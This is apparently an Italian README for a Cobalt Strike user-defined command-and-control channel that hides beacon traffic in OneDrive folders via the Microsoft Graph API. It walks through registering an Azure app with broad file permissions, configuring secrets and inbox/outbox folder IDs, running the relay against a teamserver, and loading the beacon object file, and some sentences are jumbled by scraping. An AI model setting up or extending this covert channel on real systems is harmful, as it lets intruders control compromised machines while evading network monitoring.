
OneDrive come trasporto C2 occulto per Cobalt Strike
Un canale C2 User-Defined di Cobalt Strike che utilizza OneDrive come livello di trasporto.

Files.ReadWrite.All.Nel Portale di Azure, vai su Registrazioni app e crea una nuova app:
Annota il tenant ID e il client ID dalla pagina di panoramica.
In Autorizzazioni API:
Files.ReadWrite.All.In Certificati e segreti, crea un nuovo segreto e copiane il valore.
Nel OneDrive dell'utente, crea due cartelle, una per la inbox e una per la
outbox (ad es. c2inbox e c2outbox).
Apri Graph Explorer, accedi come quell'utente ed esegui:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
Prendi l'id di ciascuna cartella e il driveId da qualsiasi voce nella risposta JSON.
cp server/config.json.example server/config.json
Compila server/config.json:
| Campo | Valore |
|---|---|
tenant_id | ID tenant di Microsoft Entra ID |
client_id | Client ID dell'applicazione |
client_secret | Valore del client secret |
drive_id | ID del drive OneDrive |
inbox_folder_id | ID della cartella inbox |
outbox_folder_id | ID della cartella outbox |
Poi compila il client:
make
Avvia il relay (usa screen o tmux così rimane attivo se il terminale si disconnette):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
In Cobalt Strike, crea un listener UDC2 sulla stessa porta e carica client/bof.o.
| Flag | Descrizione |
|---|---|
--config | Percorso di config.json (obbligatorio) |
--ts-addr | IP del teamserver |
--ts-port | Porta del listener UDC2 |
--poll | Intervallo di polling in secondi (predefinito 2.0) |
--state | Percorso del file di stato (predefinito: <config>.state.json) |
--debug | Abilita il logging di debug |
--clean | Elimina il file di stato e la directory spool, poi esci |
Il relay crea alcuni file accanto alla tua configurazione per tenere traccia delle cose tra un riavvio e l'altro:
config.json.state.json) - tiene traccia di quali file inbox sono stati elaborati, degli upload in sospeso e delle informazioni sulla sessione del beacon. Imposta un percorso personalizzato con --state.config.json.state.json.spool/) - contiene i dati di risposta che non sono ancora stati caricati su OneDrive. Se il relay va in crash durante un upload, lo spool conserva i dati così può riprovare al prossimo avvio.config.json.state.json.lock) - impedisce che due istanze del relay vengano eseguite sullo stesso stato. Se vedi Another relay holds the lock e nessun altro relay è in esecuzione, il lock è obsoleto a causa di un crash.Se lo stato locale del relay si corrompe o un lock obsoleto blocca l'avvio, usa --clean per cancellare il file di stato e la directory spool così il relay riparte da zero:
python3 server/relay.py --config server/config.json --clean
Il file di lock viene mantenuto. Il relay non esegue la pulizia mentre un'altra istanza è in esecuzione. Al successivo avvio normale si reinizializza e salta qualsiasi file inbox più vecchio di 30 minuti.
Puoi anche reimpostare manualmente eliminando tu stesso il file di stato e la directory spool. Se il file di lock è obsoleto (nessun relay in esecuzione), eliminalo anche tu.
